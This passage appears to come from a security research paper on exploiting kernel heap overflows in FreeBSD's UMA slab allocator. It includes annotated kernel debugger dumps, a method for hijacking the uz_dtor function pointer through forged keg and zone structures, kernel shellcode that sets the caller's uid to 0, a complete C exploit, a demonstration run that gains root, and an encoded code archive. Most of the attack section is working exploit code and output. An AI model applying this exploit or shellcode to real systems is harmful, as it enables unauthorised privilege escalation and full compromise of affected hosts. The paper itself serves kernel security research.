0xc25e5d20:     41414141        41414141        41414141        41414141
0xc25e5d30:     41414141        41414141        41414141        41414141
0xc25e5d40:     41414141        41414141        41414141        41414141
0xc25e5d50:     41414141        41414141        41414141        41414141
0xc25e5d60:     41414141        41414141        41414141        41414141
0xc25e5d70:     41414141        41414141        41414141        41414141
0xc25e5d80:     41414141        41414141        41414141        41414141
0xc25e5d90:     41414141        41414141        41414141        41414141
0xc25e5da0:     41414141        41414141        41414141        41414141
0xc25e5db0:     41414141        41414141        41414141        41414141
0xc25e5dc0:     41414141        41414141        41414141        41414141
0xc25e5dd0:     41414141        41414141        41414141        41414141
0xc25e5de0:     41414141        41414141        41414141        41414141
0xc25e5df0:     41414141        41414141        41414141        41414141
```

```
// Item #50 (0xc25e5e00) starts here, as we can see there are no metadata
// between items on the slab.
0xc25e5e00:     41414141        41414141        41414141        41414141
0xc25e5e10:     41414141        41414141        41414141        41414141
0xc25e5e20:     41414141        41414141        41414141        41414141
0xc25e5e30:     41414141        41414141        41414141        41414141
0xc25e5e40:     41414141        41414141        41414141        41414141
0xc25e5e50:     41414141        41414141        41414141        41414141
0xc25e5e60:     41414141        41414141        41414141        41414141
0xc25e5e70:     41414141        41414141        41414141        41414141
0xc25e5e80:     41414141        41414141        41414141        41414141
0xc25e5e90:     41414141        41414141        41414141        41414141
0xc25e5ea0:     41414141        41414141        41414141        41414141
0xc25e5eb0:     41414141        41414141        41414141        41414141
0xc25e5ec0:     41414141        41414141        41414141        41414141
0xc25e5ed0:     41414141        41414141        41414141        41414141
0xc25e5ee0:     41414141        41414141        41414141        41414141
0xc25e5ef0:     41414141        41414141        41414141        41414141
0xc25e5f00:     0               0               0               0
0xc25e5f10:     0               0               0               0
0xc25e5f20:     0               0               0               0
0xc25e5f30:     0               0               0               0
0xc25e5f40:     0               28203263        0               0
0xc25e5f50:     0               0               0               0
0xc25e5f60:     28203264        28203264        0               0
0xc25e5f70:     0               0               0               0
0xc25e5f80:     0               0               0               0
0xc25e5f90:     0               0               2820b080        4

// At 0xc25e5fa8 the uma_slab_head structure of the uma_zone structure
// begins with the address of the keg (variable us_keg at [2-13]) that the
// slab belongs to (0xc1474900).
0xc25e5fa0:     0               0               c1474900        c25e4fa8
0xc25e5fb0:     c25e6fac        0               c25e5000        f0002
0xc25e5fc0:     4030201         8070605         c0b0a09         f0e0d
0xc25e5fd0:     0               0               0               0
0xc25e5fe0:     828             0               0               0
0xc25e5ff0:     0               0               0               0

// The first item of the 0xc25e6fa8 slab starts here.
0xc25e6000:     41414141        41414141        41414141        41414141

// Now let's examine the entire keg structure of our slab.  Walking through
// the memory dump with the aid of the description of the uma_keg structure
// [10] we can easily identify the address of the keg's zone (0xc146d1e0).
// This is variable uk_zones at [2-6].
db> x/x 0xc1474900,20
0xc1474900:     c1474880        c1474980        c0b865cc        c0bd809a
0xc1474910:     1430000         0               4               0
0xc1474920:     0               0               0               c146d1e0
0xc1474930:     c25e7fa8        0               c25e6fa8        0
0xc1474940:     3               1a              d               100
0xc1474950:     100             0               0               0
0xc1474960:     c09e35f0        c09e35b0        0               0
0xc1474970:     0               10fa8           f               10

// The memory region of the zone that our slab belongs to (through the keg)
// is shown below.  Using uma_zone's definition from [7] we can easily
// identify that at address 0xc146d200 we have the uz_dtor function
// pointer [2-5], among other interesting function pointers.  The default
// value of the uz_dtor function pointer is NULL (0x0) for the '256'
// anonymous zone.
db> x/x 0xc146d1e0,20
0xc146d1e0:     c0b865cc        c1474908        c1474900        0
0xc146d1f0:     c147492c        0               0               0
0xc146d200:     0               0               0               f52
0xc146d210:     0               df9             0               0
0xc146d220:     0               200000          c146b000        c146b1a4
```

```
0xc146d230:     2d1             0               2c5             0
0xc146d240:     0               0               0               0
0xc146d250:     0               0               0               0
```

To summarize this section before we present the actual exploitation methodology:

* We have observed that if we can consume a zone's free items and force the allocation of new items on new slabs, we can get an item at the edge of one of the new slabs within the first ITEMS_PER_SLAB number of items,

* for certain zones their slabs' management metadata, i.e. their uma_slab structure which contains the uma_slab_head structure, are stored on the slabs themselves,

* with the goal of achieving arbitrary code execution in mind, we have examined the uma_slab_head, uma_keg and uma_zone structures in memory and identified several function pointers that could be overwritten.

--[4 - Exploitation methodology

As we have seen in the previous section, the uma_slab_head structure of a non-offpage slab is stored on the slab itself at a higher memory address than the items of the slab. Taking advantage of an insufficient input validation vulnerability on kernel memory managed by a zone with non-offpage slabs (like for example the '256' zone), we can overflow the last item of the slab and overwrite the uma_slab_head structure [12]. This opens up a number of different alternatives for diverting the flow of the kernel's execution. In this paper we will only explore the one we have found to be easier to achieve that also allows us to leave the system in a stable state after exploitation.

Returning to the sample vulnerability of our new 'bug' system call, we have discovered that the uz_dtor function pointer is NULL for the '256' anonymous zone. However, if we manage to modify it to point to an arbitrary address we can divert the flow of execution to our code during the deallocation of the edge item from the underlying slab. When free(9) is called on a memory address the corresponding slab is discovered from the address passed as an argument [17]:

```
slab = vtoslab((vm_offset_t)addr & (~UMA_SLAB_MASK));
```

The slab is then used to find the keg's address to which it belongs, and then the keg's address is used to find the zone (or, to be more precise, the first zone in case the keg is associated with multiple zones) which is subsequently passed to the uma_zfree_arg() function [18]:

```
uma_zfree_arg(LIST_FIRST(&slab->us_keg->uk_zones), addr, slab);
```

In uma_zfree_arg() the zone passed as the first argument is used to find the corresponding keg [19]:

```
keg = zone->uz_keg;
```

Finally, if the uz_dtor function pointer of the zone is not NULL then it is called on the item to be deallocated in order to implement the custom destructor that a kernel developer may have defined for the zone [20]:

```
if (zone->uz_dtor)
        zone->uz_dtor(item, keg->uk_size, udata);
```

This leads to the formulation of our exploitation methodology (although our sample vulnerability is for the '256' zone, we try to make the steps generic to apply to all zones with non-offpage slabs):

1. Using vmstat(8) we query the UMA about the different zones, we identify
   the one we plan to target and parse the number of initial items marked

as free on its slabs.

2. Using a system call, or some other code path that allows us to affect kernel space memory from userland, we consume all the free items from the target zone.

3. Based on our heuristic observations, we then allocate ITEMS_PER_SLAB number of items on the target zone. Although we don't know exactly which allocation will give us an item at the edge of a slab (it differs among different kernels), it will be one among the ITEMS_PER_SLAB number of allocations. On all these allocations we trigger the vulnerability condition, therefore the item allocated last on a slab will overflow into the memory region of the slab's uma_slab_head structure.

4. We overwrite the memory address of us_keg [2-13] in uma_slab_head with an arbitrary address of our choosing. Since the IA-32 architecture does not implement a fully separated memory address space between userland and kernel space, we can use a userland address for this purpose; the kernel will dereference it correctly. There are a number of choices for that, but the most convenient one is usually the userland buffer passed as an argument to the vulnerable system call.

5. We construct a fake uma_keg structure at that memory address. Our fake uma_keg structure is consisting of sane values to all its elements, however its uk_zones element [2-6] points to another area in our userland buffer. There we construct a fake uma_zone structure, again with sane values for its elements, but we point the uz_dtor function pointer [2-5] to another address at our userland buffer where we place our kernel shellcode.

6. The next step is to use the system call in order deallocate the last ITEMS_PER_SLAB we have allocated in step 3. This will lead to free(9), then to uma_zfree_arg() and finally to the execution of the uz_dtor function pointer we have hijacked in step 5.

As a first attempt at exploitation let's focus on diverting execution through the uz_dtor function pointer to make the instruction pointer execute the instructions at address 0x41424344. Our first exploit is file ex1.c in the code tarball:

```
[argp@julius ~]$ kldstat | grep bug
 4    1 0xc25b6000 2000     bug.ko
[argp@julius ~]$ gcc ex1.c -o ex1
[argp@julius ~]$ ./ex1
---[ free items on the 256 zone: 4
---[ consuming 4 items from the 256 zone
[*] bug: 0: item at 0xc243c200
[*] bug: 1: item at 0xc2593300
[*] bug: 2: item at 0xc2381a00
[*] bug: 3: item at 0xc243b300
---[ free items on the 256 zone: 30
---[ allocating 15 evil items on the 256 zone
---[ userland (fake uma_keg_t) = 0x28202180
[*] bug: 4: item at 0xc25e7000
[*] bug: 5: item at 0xc25e6e00
[*] bug: 6: item at 0xc25e6d00
[*] bug: 7: item at 0xc25e6c00
[*] bug: 8: item at 0xc25e6b00
[*] bug: 9: item at 0xc25e6a00
[*] bug: 10: item at 0xc25e6900
[*] bug: 11: item at 0xc25e6800
[*] bug: 12: item at 0xc25e6700
[*] bug: 13: item at 0xc25e6600
[*] bug: 14: item at 0xc25e6500
[*] bug: 15: item at 0xc25e6400
[*] bug: 16: item at 0xc25e6300
[*] bug: 17: item at 0xc25e6200
[*] bug: 18: item at 0xc25e6100
---[ deallocating the last 15 items from the 256 zone

Fatal trap 12: page fault while in kernel mode
cpuid = 0; apic id = 00
fault virtual address   = 0x41424344
fault code              = supervisor read, page not present
instruction pointer     = 0x20:0x41424344
stack pointer           = 0x28:0xcd074c14
frame pointer           = 0x28:0xcd074c4c
code segment            = base 0x0, limit 0xfffff, type 0x1b
                        = DPL 0, pres 1, def32 1, gran 1
processor eflags        = interrupt enabled, resume, IOPL = 0
current process         = 767 (ex1)
[thread id 767 tid 100050 ]
Stopped at     0x41424344:      *** error reading from address 41424344 ***
db>

// We have successfully diverted execution to the 0x41424344 address.
// Let’s explore the UMA data structures.  First, the edge item of the
// exploited slab:

db> x/x 0xc25e6e00,4
0xc25e6e00:     0               0               0               0

// By examining the uma_slab_head structure of the exploited slab we can
// see that we have overwritten its us_keg element [2-13] with the address
// of our userland buffer (0x28202180):
db> x/x 0xc25e6fa8,4
0xc25e6fa8:     28202180        c2593fa8        c25e7fac        0

// We continue by examining our fake uma_keg structure that us_keg is now
// pointing to.  The uk_zones element [2-6] of our fake uma_keg structure
// points further down our userland buffer to the fake uma_zone structure
// at 0x28202200.
db> x/x 0x28202180,10
0x28202180:     c1474880        c1474980        c0b8682c        c0bd82fa
0x28202190:     1430000         0               4               0
0x282021a0:     0               0               0               28202200
0x282021b0:     c32affa0        0               c32b3fa8        0

// We can now verify that the uz_dtor function pointer of the fake uma_zone
// structure contains 0x41424344 (and that uz_keg [2-1] at 0x28202208
// points back to our fake uma_keg):
db> x/x 0x28202200,10
0x28202200:     c0b867ec        c1474908        28202180        0
0x28202210:     c147492c        0               0               0
0x28202220:     41424344        0               0               a32
0x28202230:     0               8d9             0               0
```

----[4.1 - Kernel shellcode

Since we have verified that we can divert the kernel’s execution flow and we have a place to store the code we want executed (again, in the userland buffer passed as an argument to the vulnerable system call) we will now briefly discuss the development of kernel shellcode for FreeBSD. There is no need to go into extensive details on this since previous published work on the subject by the "Kernel wars" authors [21] and noir [22] have analyzed it sufficiently. Although noir presented OpenBSD specific kernel shellcode, the sysctl(3) technique of leaking the address of the process structure from unprivileged userland code is applicable to FreeBSD as well. In our kernel shellcode we use a simpler approach to locate the process structure first presented in [21].

We want to create a small shellcode that patches the credentials record for the user running the exploit. To do that we will locate the proc struct for the running process, then update the ucred struct that the process is associated with.

FreeBSD/i386 uses the segment fs in kernel-context to point to the per-cpu variable __pcpu[n] [23]. This structure holds information for the cpu of the current context like current thread among other data. We use this segment to quickly get hold of the proc pointer for the currently running process and eventually the credentials of the owner user of the process.

To easily figure out the offsets in the structs used by the kernel we get some help from gdb, the symbol read is just used to reference addressable memory:

```
$ gdb /boot/kernel/kernel
...
(gdb) print /x (int)&((struct thread *)&read)->td_proc-\
     (int)(struct thread *)&read
$1 = 0x4
(gdb) print /x (int)&((struct proc *)&read)->p_ucred-\
(int)(struct proc *)&read
$2 = 0x30
(gdb) print /x (int)&((struct ucred *)&read)->cr_uid-\
     (int)(struct ucred *)&read
$3 = 0x4
(gdb) print /x (int)&((struct ucred *)&read)->cr_ruid-\
     (int)(struct ucred *)&read
$4 = 0x8
```

Knowing the offsets we can now describe our shellcode in detail:

1. Get the curthread pointer by referring to the first word in the struct pcpu [23]:
```
        movl    %fs:0, %eax
```

2. Extract the struct proc pointer for the associated process [24]:
```
        movl    0x4(%eax), %eax
```

3. Get hold of the process owner's identity [25] by getting the struct ucred for that particular process:
```
        movl    0x30(%eax), %eax
```

4. Patch struct ucred by writing uid=0 on both the effective user ID (cr_uid) and real user ID (cr_ruid) [26]:
```
        xorl    %ecx, %ecx
        movl    %ecx, 0x4(%eax)
        movl    %ecx, 0x8(%eax)
```

5. Restore us_keg [2-13] for our overwritten slab metadata, we use the us_keg pointer found in the next uma_slab_head as will be discussed in the next subsection, 4.2:
```
        movl    0x1000(%esi), %eax
        movl    %eax, (%esi)
```

6. Return from our shellcode and enjoy uid=0 privileges:
```
        ret
```

----[4.2 - Keeping the system stable

After our kernel shellcode has been executed, control is returned to the kernel. Eventually the kernel will try to free an item from the zone that uses the slab whose uma_slab_head structure we have corrupted. However, the memory regions we have used to store our fake structures have been unmapped when our process has completed. Therefore, the system crashes when it tries to dereference the address of the fake uma_keg structure during a free(9) call.

In order to find a way to keep the system stable after returning from the execution of our kernel shellcode we fire up our exploit with any kind of kernel shellcode, execute it, and we single step in ddb(4) (after we have enabled a relevant breakpoint or watchpoint of course) until we reach the call of the uz_dtor function pointer:

```
[thread pid 758 tid 100047 ]
Stopped at      uma_zfree_arg+0x2d:     calll   *%edx

// Above we can see the call instruction in uma_zfree_arg() where uz_dtor
// is used.  Let's examine the state of the registers at this point:
db> show reg
cs                0x20
ds                0x28
es                0x28
fs                 0x8
ss                0x28
eax         0xc25d5e00
ecx         0xc25d5e00
edx         0x28202260
ebx              0x100
esp         0xcd068c14
ebp         0xcd068c48
esi         0xc25d5fa8
edi         0x28202200
eip         0xc09e565d  uma_zfree_arg+0x2d
efl              0x206
db> x/x $esi
0xc25d5fa8:     28202180

// Although we have not included the relevant output, we know (see previous
// executions of ex1.c earlier in the paper) from the execution of our
// exploit that we have corrupted the 0xc25d5fa8 slab.  We can see that at
// this point the %esi register holds the address of this slab.  We can
// also see that the us_keg element ([2-13], first word of uma_slab_head)
// of uma_slab_head points to our userland buffer (0x28202180).  What we
// need to do is restore the value of us_keg to point to the correct
// uma_keg.  Since we know the UMA architecture from section 2, we only
// need to look for the correct address of uma_keg at the next or the
// previous slab from the one we have corrupted:
db> x/x 0xc25d6fa8
0xc25d6fa8:     c1474900
```

In order to ensure kernel continuation we can perform an additional check by making sure that the next or the previous slab is indeed a valid one and its us_keg pointer is not NULL.

Now we know how to dynamically restore at run time from our kernel shellcode the value of the corrupted us_keg to contain the address of the correct uma_keg structure.

Putting it all together, we have below the complete exploit (file ex2.c in the code archive):

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/module.h>

#define EVIL_SIZE           428 /* causes 256 bytes to be allocated */
#define TARGET_SIZE         256
#define OP_ALLOC            1
#define OP_FREE             2

#define BUF_SIZE            256
#define LINE_SIZE           56

#define ITEMS_PER_SLAB      15  /* for the 256 anonymous zone */
```

```
struct argz
{
    char *buf;
    u_int len;
    int op;
    u_int slot;
};

int     get_zfree(char *zname);

u_char kernelcode[] =
"\x64\xa1\x00\x00\x00\x00"  /* movl %fs:0, %eax */
"\x8b\x40\x04"              /* movl 0x4(%eax), %eax */
"\x8b\x40\x30"              /* movl 0x30(%eax), %eax */
"\x31\xc9"                  /* xorl %ecx, %ecx */
"\x89\x48\x04"              /* movl %ecx, 0x4(%eax) */
"\x89\x48\x08"              /* movl %ecx, 0x8(%eax) */
"\x8b\x86\x00\x10\x00\x00"  /* movl 0x1000(%esi), %eax */
"\x83\xf8\x00"              /* cmpl $0x0, %eax */
"\x74\x02"                  /* je   prev */
"\xeb\x06"                  /* jmp  end */
                            /* prev: */
"\x8b\x86\x00\xf0\xff\xff"  /* movl -0x1000(%esi), %eax */
                            /* end: */
"\x89\x06"                  /* movl %eax, (%esi) */
"\xc3";                     /* ret */

int
main(int argc, char *argv[])
{
    int sn, i, j, n;
    char *ptr;
    u_long *lptr;
    struct module_stat mstat;
    struct argz vargz;

    sn = i = j = n = 0;

    n = get_zfree("256");

    printf("---[ free items on the %d zone: %d\n", TARGET_SIZE, n);

    vargz.len = TARGET_SIZE;
    vargz.buf = calloc(vargz.len + 1, sizeof(char));

    if(vargz.buf == NULL)
    {
        perror("calloc");
        exit(1);
    }

    memset(vargz.buf, 0x41, vargz.len);

    mstat.version = sizeof(mstat);
    modstat(modfind("bug"), &mstat);
    sn = mstat.data.intval;
    vargz.op = OP_ALLOC;

    printf("---[ consuming %d items from the %d zone\n", n, TARGET_SIZE);

    for(i = 0; i < n; i++)
    {
        vargz.slot = i;
        syscall(sn, vargz);
    }

    n = get_zfree("256");
    printf("---[ free items on the %d zone: %d\n", TARGET_SIZE, n);
    printf("---[ allocating %d evil items on the %d zone\n",
            ITEMS_PER_SLAB, TARGET_SIZE);

    free(vargz.buf);
    vargz.len = EVIL_SIZE;
    vargz.buf = calloc(vargz.len, sizeof(char));

    if(vargz.buf == NULL)
    {
        perror("calloc");
        exit(1);
    }

    /* build the overflow buffer */

    ptr = (char *)vargz.buf;
    printf("---[ userland (fake uma_keg_t) = 0x%.8x\n", (u_int)ptr);

    lptr = (u_long *)(vargz.buf + EVIL_SIZE - 4);

    /* overwrite the real uma_slab_head struct */
    *lptr++ = (u_long)ptr;  /* us_keg */

    /* build the fake uma_keg struct (us_keg) */
    lptr = (u_long *)vargz.buf;
    *lptr++ = 0xc1474880;   /* uk_link */
    *lptr++ = 0xc1474980;   /* uk_link */
    *lptr++ = 0xc0b8682c;   /* uk_lock */
    *lptr++ = 0xc0bd82fa;   /* uk_lock */
    *lptr++ = 0x1430000;    /* uk_lock */
    *lptr++ = 0x0;          /* uk_lock */
    *lptr++ = 0x4;          /* uk_lock */
    *lptr++ = 0x0;          /* uk_lock */
    *lptr++ = 0x0;          /* uk_hash */
    *lptr++ = 0x0;          /* uk_hash */
    *lptr++ = 0x0;          /* uk_hash */

    ptr = (char *)(vargz.buf + 128);
    *lptr++ = (u_long)ptr;  /* fake uk_zones */

    *lptr++ = 0xc32affa0;   /* uk_part_slab */
    *lptr++ = 0x0;          /* uk_free_slab */
    *lptr++ = 0xc32b3fa8;   /* uk_full_slab */
    *lptr++ = 0x0;          /* uk_recurse */
    *lptr++ = 0x3;          /* uk_align */
    *lptr++ = 0x1a;         /* uk_pages */
    *lptr++ = 0xd;          /* uk_free */
    *lptr++ = 0x100;        /* uk_size */
    *lptr++ = 0x100;        /* uk_rsize */
    *lptr++ = 0x0;          /* uk_maxpages */
    *lptr++ = 0x0;          /* uk_init */
    *lptr++ = 0x0;          /* uk_fini */
    *lptr++ = 0xc09e3790;   /* uk_allocf */
    *lptr++ = 0xc09e3750;   /* uk_freef */
    *lptr++ = 0x0;          /* uk_obj */
    *lptr++ = 0x0;          /* uk_kva */
    *lptr++ = 0x0;          /* uk_slabzone */
    *lptr++ = 0x10fa8;      /* uk_pgoff && uk_ppera */
    *lptr++ = 0xf;          /* uk_ipers */
    *lptr++ = 0x10;         /* uk_flags */

    /* build the fake uma_zone struct */
    *lptr++ = 0xc0b867ec;   /* uz_name */
    *lptr++ = 0xc1474908;   /* uz_lock */

    ptr = (char *)vargz.buf;
    *lptr++ = (u_long)ptr;  /* uz_keg */
    *lptr++ = 0x0;           /* uz_link le_next */
    *lptr++ = 0xc147492c;    /* uz_link le_prev */
    *lptr++ = 0x0;           /* uz_full_bucket */
    *lptr++ = 0x0;           /* uz_free_bucket */
    *lptr++ = 0x0;           /* uz_ctor */

    ptr = (char *)(vargz.buf + 224); /* our kernel shellcode */
    *lptr++ = (u_long)ptr;   /* uz_dtor */

    *lptr++ = 0x0;           /* uz_init */
    *lptr++ = 0x0;           /* uz_fini */
    *lptr++ = 0xa32;
    *lptr++ = 0x0;
    *lptr++ = 0x8d9;
    *lptr++ = 0x0;
    *lptr++ = 0x0;
    *lptr++ = 0x0;
    *lptr++ = 0x200000;
    *lptr++ = 0xc146b1a4;
    *lptr++ = 0xc146b000;
    *lptr++ = 0x39;
    *lptr++ = 0x0;
    *lptr++ = 0x3a;
    *lptr++ = 0x0;           /* end of uma_zone */

    memcpy(ptr, kernelcode, sizeof(kernelcode));

    for(j = 0; j < ITEMS_PER_SLAB; j++, i++)
    {
        vargz.slot = i;
        syscall(sn, vargz);
    }

    /* free the last allocated items to trigger exploitation */
    printf("---[ deallocating the last %d items from the %d zone\n",
            ITEMS_PER_SLAB, TARGET_SIZE);

    vargz.op = OP_FREE;

    for(j = 0; j < ITEMS_PER_SLAB; j++)
    {
        vargz.slot = i - j;
        syscall(sn, vargz);
    }

    free(vargz.buf);
    return 0;
}

int
get_zfree(char *zname)
{
    u_int nsize, nlimit, nused, nfree, nreq, nfail;
    FILE *fp = NULL;
    char buf[BUF_SIZE];
    char iname[LINE_SIZE];

    nsize = nlimit = nused = nfree = nreq = nfail = 0;

    fp = popen("/usr/bin/vmstat -z", "r");

    if(fp == NULL)
    {
        perror("popen");
        exit(1);
    }
    memset(buf, 0, sizeof(buf));
    memset(iname, 0, sizeof(iname));

    while(fgets(buf, sizeof(buf) - 1, fp) != NULL)
    {
        sscanf(buf, "%s %u, %u, %u, %u, %u, %u\n", iname, &nsize, &nlimit,
                &nused, &nfree, &nreq, &nfail);

        if(strncmp(iname, zname, strlen(zname)) == 0)
        {
            break;
        }
    }

    pclose(fp);
    return nfree;
}
```

Let’s try it:

```
[argp@julius ˜]$ uname -r
7.2-RELEASE
[argp@julius ˜]$ kldstat | grep bug
 4    1 0xc25b0000 2000     bug.ko
[argp@julius ˜]$ id
uid=1001(argp) gid=1001(argp) groups=1001(argp)
[argp@julius ˜]$ gcc ex2.c -o ex2
[argp@julius ˜]$ ./ex2
---[ free items on the 256 zone: 34
---[ consuming 34 items from the 256 zone
[*] bug: 0: item at 0xc243c800
[*] bug: 1: item at 0xc25b3900
[*] bug: 2: item at 0xc25b2900
[*] bug: 3: item at 0xc25b2a00
[*] bug: 4: item at 0xc25b3800
[*] bug: 5: item at 0xc25b2b00
[*] bug: 6: item at 0xc25b2300
[*] bug: 7: item at 0xc25b2600
[*] bug: 8: item at 0xc2598e00
[*] bug: 9: item at 0xc25b2200
[*] bug: 10: item at 0xc25b2000
[*] bug: 11: item at 0xc2598c00
[*] bug: 12: item at 0xc25b2100
[*] bug: 13: item at 0xc25b3000
[*] bug: 14: item at 0xc25b3b00
[*] bug: 15: item at 0xc25b2d00
[*] bug: 16: item at 0xc25b2c00
[*] bug: 17: item at 0xc25b3600
[*] bug: 18: item at 0xc243c700
[*] bug: 19: item at 0xc25b3400
[*] bug: 20: item at 0xc25b3a00
[*] bug: 21: item at 0xc25b3700
[*] bug: 22: item at 0xc243cc00
[*] bug: 23: item at 0xc243ca00
[*] bug: 24: item at 0xc25b3500
[*] bug: 25: item at 0xc2597300
[*] bug: 26: item at 0xc235d100
[*] bug: 27: item at 0xc2597100
[*] bug: 28: item at 0xc2597600
[*] bug: 29: item at 0xc25b3e00
[*] bug: 30: item at 0xc25b3c00
[*] bug: 31: item at 0xc2597500
[*] bug: 32: item at 0xc2598d00
[*] bug: 33: item at 0xc25b3100
---[ free items on the 256 zone: 45
---[ allocating 15 evil items on the 256 zone
---[ userland (fake uma_keg_t) = 0x28202180
[*] bug: 34: item at 0xc25e6800
[*] bug: 35: item at 0xc25e6700
[*] bug: 36: item at 0xc25e6600
[*] bug: 37: item at 0xc25e6500
[*] bug: 38: item at 0xc25e6400
[*] bug: 39: item at 0xc25e6300
[*] bug: 40: item at 0xc25e6200
[*] bug: 41: item at 0xc25e6100
[*] bug: 42: item at 0xc25e6000
[*] bug: 43: item at 0xc25e5e00
[*] bug: 44: item at 0xc25e5d00
[*] bug: 45: item at 0xc25e5c00
[*] bug: 46: item at 0xc25e5b00
[*] bug: 47: item at 0xc25e5a00
[*] bug: 48: item at 0xc25e5900
---[ deallocating the last 15 items from the 256 zone
[argp@julius ~]$ id
uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp)
```

--[5 - Conclusion

The exploitation technique described in this paper can be applied to overflows that take place on memory allocated by the FreeBSD kernel. The main requirement for successful arbitrary code execution, in addition to having an overflow bug in the kernel, is that we should be able to make repeated allocations of kernel memory from userland without having the kernel automatically deallocate our items. We also need to have control over the deallocation of these items to fully control the process. Obviously, the uz_dtor overwrite technique we focused on in this paper is only one of the alternatives to achieve code execution; the rest are left as an exercise for the interested hacker.

argp did the research, developed the exploitation methodology, discovered how to keep the system stable after arbitrary code execution and wrote this paper. karl provided the initial challenge, pointed argp to the right direction and improved the kernel shellcode subsection (4.1).

argp thanks all the clever signedness.org residents for discussions on many very interesting topics (cmn, christer, twiz, mu-b, xz and all the others). Thanks also to brat for always allowing me to break his machines, joy and demonmass for generally being cool.

karl thanks christer for starting this whole *bsd exploit epoch, and of course cmn for endless discussions on how to solve problems.

--[6 - References

[1] GCC extension for protecting applications from stack-smashing attacks
     - http://www.trl.ibm.com/projects/security/ssp/

[2] FreeBSD 8.0-CURRENT: src/sys/kern/stack_protector.c
     - http://fxr.watson.org/fxr/source/kern/stack_protector.c

[3] FreeBSD Kernel Developer's Manual - uma(9): zone allocator
     - http://www.freebsd.org/cgi/
        man.cgi?query=uma&sektion=9&manpath=FreeBSD+7.2-RELEASE

[4] FreeBSD Kernel Developer's Manual - malloc(9): kernel memory
        management routines
     - http://www.freebsd.org/cgi/
        man.cgi?query=malloc&sektion=9&manpath=FreeBSD+7.2-RELEASE

[5] Jeff Bonwick, The slab allocator: An object-caching kernel memory
        allocator
     - http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.29.4759

[6] sgrakkyu and twiz, Attacking the core: kernel exploiting notes
     - http://phrack.org/issues.html?issue=64&id=6&mode=txt

[7] struct uma_zone
- http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD72#L291

[8] struct uma_bucket
- http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD72#L166

[9] struct uma_cache
- http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD72#L175

[10] struct uma_keg
- http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD72#L190

[11] struct uma_slab
- http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD72#L244

[12] struct uma_slab_head
- http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD72#L230

[13] Non-offpage and offpage slab representations
- http://fxr.watson.org/fxr/source/vm/uma_int.h?v=FREEBSD72#L87

[14] FreeBSD Kernel Interfaces Manual - kld(4): dynamic kernel linker facility
- http://www.freebsd.org/cgi/man.cgi?query=kld&sektion=4&manpath=FreeBSD+7.2-RELEASE

[15] signedness.org challenge #3 - FreeBSD (6.0) kernel heap overflow
- http://www.signedness.org/challenges/

[16] FreeBSD Kernel Interfaces Manual - ddb(4): interactive kernel debugger
- http://www.freebsd.org/cgi/man.cgi?query=ddb&sektion=4&manpath=FreeBSD+7.2-RELEASE

[17] void free(void *addr, struct malloc_type *mtp)
- http://fxr.watson.org/fxr/source/kern/kern_malloc.c?v=FREEBSD72#L443

[18] void free(void *addr, struct malloc_type *mtp)
- http://fxr.watson.org/fxr/source/kern/kern_malloc.c?v=FREEBSD72#L470

[19] void uma_zfree_arg(uma_zone_t zone, void *item, void *udata)
- http://fxr.watson.org/fxr/source/vm/uma_core.c?v=FREEBSD72#L2243

[20] void uma_zfree_arg(uma_zone_t zone, void *item, void *udata)
- http://fxr.watson.org/fxr/source/vm/uma_core.c?v=FREEBSD72#L2251

[21] Joel Eriksson, Christer Oberg, Claes Nyberg and Karl Janmar, Kernel wars
- https://www.blackhat.com/presentations/bh-usa-07/Eriksson_Oberg_Nyberg_and_Jammar/Whitepaper/bh-usa-07-eriksson_oberg_nyberg_and_jammar-WP.pdf

[22] noir, Smashing the kernel stack for fun and profit
- http://www.phrack.org/issues.html?issue=60&id=6&mode=txt

[23] void init386(int first)
- http://fxr.watson.org/fxr/source/i386/i386/machdep.c?v=FREEBSD72#L2185

[24] struct thread
- http://fxr.watson.org/fxr/source/sys/proc.h?v=FREEBSD72#L201

[25] struct proc
- http://fxr.watson.org/fxr/source/sys/proc.h?v=FREEBSD72#L489

[26] struct ucred
- http://fxr.watson.org/fxr/source/sys/ucred.h?v=FREEBSD72#L38

--[7 - Code

```
begin 644 code.tar.gz
M'XL("!8>"$H"`V-O9&4N=&%R`.T<:W/;."Y?5[^"YVYR=N(XDBBL_&C>=Z7;=;=
MG<RF32=)[^8N[7ADF;)5RY)7C]3)3N^W'T#J;2EQ]I*TNT=.XH<($B`@@!!
MVG`G]&#K<8L,I=?IX+O2Z\C9][AL*8HJJ[+2Z:D`I\B:VMLBG:TG**$?Z!XA
M6[HW7=X&=U?]G[08*/\I#6Y,C]*6\6CR[VI:E?RUMMH&^2M:MR-K,CY75$U1
MMH@LY/_HY9GE&'8XH>2%'TPLMS5[*>4>V=:X^,RSG&GAV;5_`/^&;MOK%<'U
MDOKKCQ?N)+0I/I>>3:AI.91<O#K[97@Q.C_^]Y#$1>UTD_K3]Z-7)R>GKTFF
M*-G:-V?#8;:2J$GM^<GIQ3G)%T664^0_?7B3QUQ`?G+\;E@$@.JD_OAB^/9\
M]'YX-CH_>?53A*`C2<"OT`@(J,^-]+N$3XT9*-SN.#0'[&LXLIR`V-3A7_&+
MN\Q6^;8;#*2O`TG";UA@OH[8A*WSOFX<?4$;'$!:Z)931TA`:30C;/#YZO)3
M(Z*`]>HTB=4D\.JXX\\<7T0K%\T()@9\QM=<+8Z$7.$K(,3GV)X<98BJ`=]J
MC:AV">H2F/7:_O[^)<%J8@5TX1/7(<&,DNT)N7$=>@@?/CJU9E8'.&5Q/PQC
M"]@$J#)`@TPEL!0J40M=HY["[Q&E27SKAKHFXU<C[M(RZYF&1^3=AY.3!JOA
M;&+D4\]SO7J-]XJCBFOHR@KJ2O3@*^]Q`2.C0=IKD\@K#;`GQ,2H&5M;5]3S
M+1='%)'''D==@A3P6QW>0<$F]=HXG-8:3;*3!?*Q,>]LH@=Z"WA]I=M9IKA+
M@(AG3IE,#-?QPP7,:90%EXWIN8NL=)AD4!@Y^<1C,8$_%B"1!\0B+[@Z$6MO
